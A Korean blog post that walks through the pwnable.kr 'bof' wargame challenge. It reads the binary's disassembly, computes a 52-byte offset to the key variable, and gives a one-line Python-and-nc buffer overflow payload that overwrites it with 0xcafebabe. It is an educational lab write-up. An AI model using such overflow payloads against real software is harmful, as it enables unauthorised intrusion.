Profile

머리정리하는곳

c2w2m2

[Toddler's Bottle] bof


파일 하나하나 받아서 봅시다.


<bof.c>



<bof>


func+40 부분이 비교하는 부분이네영 그럼 0x8(%ebp) 가 key 주소값이라 봐도 되겠죠.


그리고 우리가 값을 넣을수 있는 overflowme에 값을 넣는 gets 함수는 func+35번째 줄에 있네요. 그럼  그전줄은 인자를 넣는 부분입니다. 


mov %eax, (%esp) 면 eax값은 어디서 정해지나? 전줄이겠져뭐


lea -0x2c(%ebp), %eax 에사 -0x2c 가 overflowme의 주소값이겠네요. 그럼 스택 모양의 필요한 부분을 보자면



 key

 0x8 - (-0x2c)

 overflowme


같은 모양이 되겠네요 그럼 overflowme 와 key 사이 길이는 0x8 - (-0x2c) 가 되는거고 그 값은 10진수로 52가 됩니다.


굳이 계획을 세워보면 


dummy [52 byte] + 0xcafebabe [4 byte] 


가 되겠네요.


공격 ㄱㄱㄱㄱ



(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000




크을리어

'Pwnable' 카테고리의 다른 글

[Plaid] Ropasaurusrex  (0) 2017.06.28
[Toddler's Bottle] cmd1 , cmd2  (0) 2017.05.30
[Toddler's Bottle] flag  (0) 2017.05.30
[Toddler's Bottle] random  (0) 2017.05.30
[Toddler's Bottle] FD  (0) 2017.05.24